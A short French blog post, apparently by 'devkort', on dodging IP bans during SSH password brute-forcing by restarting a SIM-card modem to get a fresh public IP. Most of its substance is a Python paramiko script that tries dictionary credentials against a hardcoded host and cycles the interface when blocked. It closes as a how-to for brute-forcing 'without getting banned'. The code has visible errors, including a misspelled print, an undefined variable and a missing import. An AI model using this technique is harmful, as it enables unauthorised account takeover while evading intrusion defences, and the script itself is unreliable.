0

Bypass d’un équipement de sécurité avec une carte sim

Mon besoin été de tester la sécurité de mon serveur et de trouver un moyen de contourner les systèmes de sécurité installé sur l’équipement, simplement et rapidement.

Solution 

Une solution trouvée et rapide a mettre en place à été d’utiliser une carte sim avec un script en python).
Pourquoi une carte sim, car une carte sim permet d’avoir internet facilement, une ip publique sur son équipement et surtout j’ai remarqué qu’au moment ou on redémarre la carte gérant la sim l’ip publique change constamment ce qui multiplie les tentatives d’attaques  , car en cas de bannissement, il est facile de modifier son ip pour continuer l’attaque en cours…

Diagramme de la solution 

 

 

 

 

 

 

 

 

 

 

 

Schéma de l’attaque :

 

Script pour la solution

Le script est développé en python, il permet de faire du bruteforce sur une authentification ssh.
Pour pouvoir l’utiliser il faut renseigner le nom de la carte en argument, au lancement du script et utiliser un dictionnaire utilisant la syntaxe pseudo puis le mot de passe.

# bypass ip by devkort
#-*- coding: utf-8 -*-

import os
import sys
import paramiko

def reb(cart):
    os.system("ifdown " + cart)
    os.system("ifup " + cart)
    prit "carte redémarré"

def sshco(pseudo,password,cart):
    try:
        hostname = 'starmtech.fr'
        port = '22'
        client = paramiko.SSHClient()
        client.load_system_host_keys()
        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
        client.connect(hostname, port=port, username=username, password=password)
        print 'Authentification reussie, le login est: ', username, ' et le password est :', password
    except paramiko.ssh_exception.SSHException as err:
        if 'Connection reset by peer' in err or 'Connection timed out' in err:
            print 'restart card'
            reb(cart)
            sleep(2)
    finally:
        client.close()

def readdico(file):
    cart = raw_input("indiquer le nom de votre carte sim, voir avec la commande ifconfig -a")
    with open(file, "r") as f:
        for line in f:
            linesplit = line.split(" ")
            pseudo = linesplit[0]
            password = linesplit[1]
            sshco(pseudo,password,cart)

if __name__ == '__main__':
    dico = raw_input("indiquer le chemin du dictionnaire")
    readdico(dico)

 

Voila, maintenant vous savez comment faire du bruteforce sans vous faire bannir par divers équipements de sécurité, par contre c’est très long, donc le mot de passe ne doit pas être trop complexe….

devkort

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *